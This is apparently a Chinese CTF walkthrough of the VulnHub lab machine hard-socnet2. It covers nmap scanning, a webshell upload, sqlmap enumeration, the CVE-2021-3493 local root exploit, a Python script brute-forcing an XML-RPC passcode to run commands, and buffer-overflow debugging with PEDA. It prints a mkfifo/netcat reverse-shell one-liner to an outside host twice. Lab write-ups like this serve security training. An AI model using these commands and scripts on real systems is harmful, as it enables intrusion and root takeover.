<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    VulnHub靶機 | hard-socnet2 |

    VSole2022-08-01 10:57:51

    本靶機難度為高難度,涉及到了緩沖區溢出的源碼審計 ,逆向分析,動態調試等漏洞技能點,

    攻擊方法有2種:

      CVE-2021-3493 

      另類提權方式。

    項目地址:https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova
    

    主機發現:

    arp-scan -l
    

    nmap -p- -sS 192.168.0.102
    

    nmap -p22,80,8000 -sV -sS 192.168.0.102
    

    目標滲透:

    訪問800端口

    顯示的是不支持 GET 請求,那就去抓包重發嘗試:OPTIONS,POST,PUT,DELETE,返回的都是 500 報錯。沒有思路了

    訪問80端口一個登錄框。登錄需要正確的電子郵箱,顯然爆破很難,但是提供了注冊,那么就注冊.

    方法一:文件上傳

    直接上傳一句話木馬文件,使用蟻劍進行連接。

    方法二:SQL 注入

    可能存在 sql 注入,嘗試使用 sqlmap 工具爆破。(mysql 數據庫)

    sqlmap -r sql -p query 將返回包內容復制到 sql 文件中,測試是否存在 SQL 注入sqlmap -r sql -p query --dbs 查詢數據庫sqlmap -r sql -p query -D socialnetwork --tables 查詢表名sqlmap -r sql -p query -D socialnetwork -T users --columns 查詢列和字段
    

    拿密碼去登錄:登陸上但是沒有任何用。SQL 注入得到的密碼可以保留。可能用得到。

    權限提升:

    GitHub 下載地址:  https://github.com/briskets/CVE-2021-3493上傳 exploit.c 文件,但是蟻劍連接的控制臺權限不夠
    gcc exploit -e expchmod +x exp./exp
    

    第一種:nc 反彈 shell 連接,還是沒有-e 參數,使用 nc 串聯進行連接

    另一種:mkfifo 反彈 shell 連接

    這段命令的意思是:利用操作系統的命令--mkfio,實現先進先出的堆棧的效果。rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.103 5555 >/tmp/f
    

    提權成功:獲取 root

    python -c "import pty;pty.spawn('/bin/bash')" 交互效果更好(升級 shell)
    

    另一種提權

    cat /etc/passwdcd /homecd socnetls -l 發現 monitor.py 和網站內容提到的一致,具有監視服務器的作用
    

    這里的文件有個 peda 它是動態調試,可能存在溢出漏洞,比如說:緩沖區溢出,堆溢出,是 GDB 的一種插件,作用有:增強 gdb 的顯示:在調試過程中著色并顯示反匯編代碼,寄存器和內存信息。增強 GDB 調試能力

    代碼審計 monitor.py 文件

    XMLRPC 方法

    #my remote server management APIimport SimpleXMLRPCServer --引入的服務import subprocessimport random --隨機數debugging_pass = random.randint(1000,9999) --隨機生成 1000-9999def runcmd(cmd): results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) output = results.stdout.read() + results.stderr.read() return outputdef cpu(): return runcmd("cat /proc/cpuinfo")def mem(): return runcmd("free -m")def disk(): return runcmd("df -h")def net(): return runcmd("ip a")**def secure_cmd(cmd,passcode): -- 定義 secure_cmd 函數,調用了 cmd 和 passcode if passcode==debugging_pass: --注意這里,是否等于之前那個 1000-9999 隨機數 return runcmd(cmd) else: return "Wrong passcode."****server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000)) 導致之前對目標靶機 web 訪問請求方式的失敗原因,只接受 xml_rpc 方式。**server.register_function(cpu)server.register_function(mem)server.register_function(disk)server.register_function(net)server.register_function(secure_cmd)server.serve_forever()
    

    xmlrpc --- XMLRPC 服務端與客戶端模塊

    介紹:https://docs.python.org/zh-cn/3/library/xmlrpc.html
    

    XML-RPC 是一種遠程過程調用方法,它使用通過 HTTP 傳遞的 XML 作為載體。有了它,客戶端可以在遠程服務器上調用帶參數的方法(服務器以 URI 命名)并獲取結構化的數據。xmlrpc 是一個集合了 XML-RPC 服務端與客戶端實現模塊的包。 這些模塊是:

    https://docs.python.org/zh-cn/3/library/xmlrpc.server.html#module-xmlrpc.server
    

    編寫客戶端腳本

    import xmlrpc.clientwith xmlrpc.client.ServerProxy("http://192.168.0.102:8000/") as proxy: print(str(proxy.cpu()))
    

    根據 monitor.py 文件中,secure_cmd 函數需要當 passcode==debugging_pass 等于隨機數時,才會執行我們自定的命令,所有進行編碼爆破。if passcode==debugging_pass:  return runcmd(cmd)
    

    對 passcode 進行爆破

    import xmlrpc.clientwith xmlrpc.client.ServerProxy("http://192.168.0.102:8000/") as proxy: for i in range(1000,10000): r=str(proxy.secure_cmd('whoami',i)) if not "Wrong" in r : print(i) print(r) break;
    

    反彈 shell 連接

    import xmlrpc.clientwith xmlrpc.client.ServerProxy("http://192.168.0.102:8000/") as proxy: cmd="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.103 5555 >/tmp/f"  r=str(proxy.secure_cmd(cmd,5598))  print(r)
    

    連接成功

    緩存區溢出漏洞利用

       add_record 文件分析web 漏洞原理:都是通過輸入數據等,從而使服務器程序在處理的時候出現異常情況。那么對 add_record 程序的漏洞發現利用。看看文件類型:ELF 文件格式可以理解成類似 windows 下 PE 的文件格式

    執行此文件可以臨時成 root 權限,當此文件存在漏洞時,就可以利用獲取 root 權限

    PEDA 用法總結

    一個強大的 GDB 插件

    PEDA 是為 GDB 設計的一個強大的插件,全稱是 Python Exploit Development Assistance for GDB。它提供了很多人性化的功能,比如高亮顯示反匯編代碼、寄存器、內存信息,提高了 debug 的效率。同時,PEDA 還為 GDB 添加了一些實用新的命令,比如 checksec 可以查看程序開啟了哪些安全機制等等,后續會介紹。https://www.csdndocs.com/article/9043624#:~:text=PEDA%E6%98%AF%E4%B8%BAGDB%E8%AE%BE%E8%AE%A1%E7%9A%84%E4%B8%80%E4%B8%AA%E5%BC%BA%E5%A4%A7%E7%9A%84%E6%8F%92%E4%BB%B6%EF%BC%8C%E5%85%A8%E7%A7%B0%E6%98%AFPython%20Exploit%20Development,Assistance%20for%20GDB%E3%80%82
    

    gdb 命令

    gdb -q -q 安靜的模式gdb 是程序的動態調試工具,可以跟蹤和監視在這個程序運行過程中所有的寄存器,堆棧,內存的使用情況每一次的函數調用,內存數據的變化,都會詳細的跟蹤和判斷,根據跟蹤就會知道哪一次數據提交造成內存數據的溢出gdb -q ./add_record peda 是基于 gdb 關于 python 的腳本,輸入 r 運行
    

    **這里的測試方法:**主要是對每一項輸入大量的字母,AAAAAAAA,監視內存的變化。

    測試思路:大量數據測試緩沖區溢出的漏洞

    就這樣嘗試,發現在備注的地方出現了溢出問題。之后的思路:找到出現溢出的位置,

    在該位置處輸入自己的 payload,反彈 shell,獲得權限。

    pattern create 100AAA%AAsAABAA$AAnAACAAAA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2A**AHAA**dAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL找到了之后看著很麻煩,使用 gdb 的功能pattern search #看到了是 62 以后的溢出
    

    根據程序運行的各類邏輯提示,這里需要利用“下斷點”的方式去了解程序的內部運作,說的直接一些,斷點的意思就是程序到這個點的時候停止,不需要下一步運行。fopen@plt(被調用的一個系統函數)是猜測是打開文本文件的意思put,其作用是輸出,配合 Printf 內建函數進行打印輸出。fopen@plt 應該是打開文件把東西保存進去printf@plt 把文件寫入那就使用斷點功能判斷一下功能都是什么**斷點調試:選中前面的內存地址,賦值break * 內存地址runs 單步向前只進行對一個 cpu 的指令**然后 del 1 刪除這個斷點信息。再重復嘗試
    

        執行 info func:查看程序的內建函數,存在 system 和 setuid,vuln,backdoor執行 disas vuln:具體查看函數,發現了 strcpy 函數,這里可能存在漏洞。直接搜索。最后,利用 payload 來觸發漏洞,返回 root 權限

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.103 5555 >/tmp/f
    

    成功獲取 root 權限。

    gdb命令
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    在調試dlink的httpd時,漏洞可能發生在httpd通過fork+execute調用的cgibin中,其中httpd解析網絡請求中的字段,并且以環境變量的形式傳遞給cgibin進行處理。② 了解httpd是如何調用cgibin的,然后通過設置gdb調試子進程、catch exec,調試cgibin。在dir 850l的固件中,幾乎所有的cgi都是通過鏈接的形式到程序cgibin,cgibin根據請求的不同來采用不同的接口(函數)進行處理。
    本靶機難度為高難度,涉及到了緩沖區溢出的源碼審計 ,逆向分析,動態調試等漏洞技能點,攻擊方法有2種:??SQL 注入得到的密碼可以保留。
    Linux 提權總結
    2021-11-15 06:54:08
    可見在權限位置有一個s權限。那么這個s的作用是什么呢? 答案是當其他用戶執行該文件時,該文件會以root的身份執行。 這里就涉及到了Effective UID和Real UID以及Saved UID Effective UID: 程序實際操作時生效的UID Real UID: 執行該程序的用戶的實際UID Saved UID: 在高權限用戶降權后,保留的其原本UID (不展開說) 所以
    漏洞的成因來自于Glibc在對重定向函數進行延遲綁定時,由于參數表被篡改導致的控制流篡改,本篇中,筆者會盡可能通過例題和實際現象來闡釋 延遲綁定的底層實現 和 ret2dlresolve。
    感覺算是一個很不錯的IoT固件分析入門教程,今天收到《路由器0day》后在路上粗略地看了下目錄,除了沒有涉及到硬件外,這個教程差不多把固件分析的起始工作都涉及到了。
    Kernel pwn CTF 入門 – 1
    2021-10-21 16:39:08
    01簡介內核 CTF 入門,主要參考 CTF-Wiki。02環境配置調試內核需要一個優秀的 gdb 插件,這里選用 gef。
    Apache httpd Server 2.4.49 版本引入了一個具有路徑穿越漏洞的新函數
    編譯器優化中有一項CSE(公共子表達式消除),如果JS引擎在執行時類型收集的不正確,將導致表達式被錯誤的消除引發類型混淆。
    漏洞復現根據官方公告,找到存在漏洞的二進制文件。官方公告:先用binwalk -Me DIR815A1_FW102b06.bin命令解壓固件包,再根據“漏洞描述”中的關鍵詞service.cgi進行查找:找到了所匹配的二進制文件htdocs/cgibin,將其拖進IDA中先進行靜態分析。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类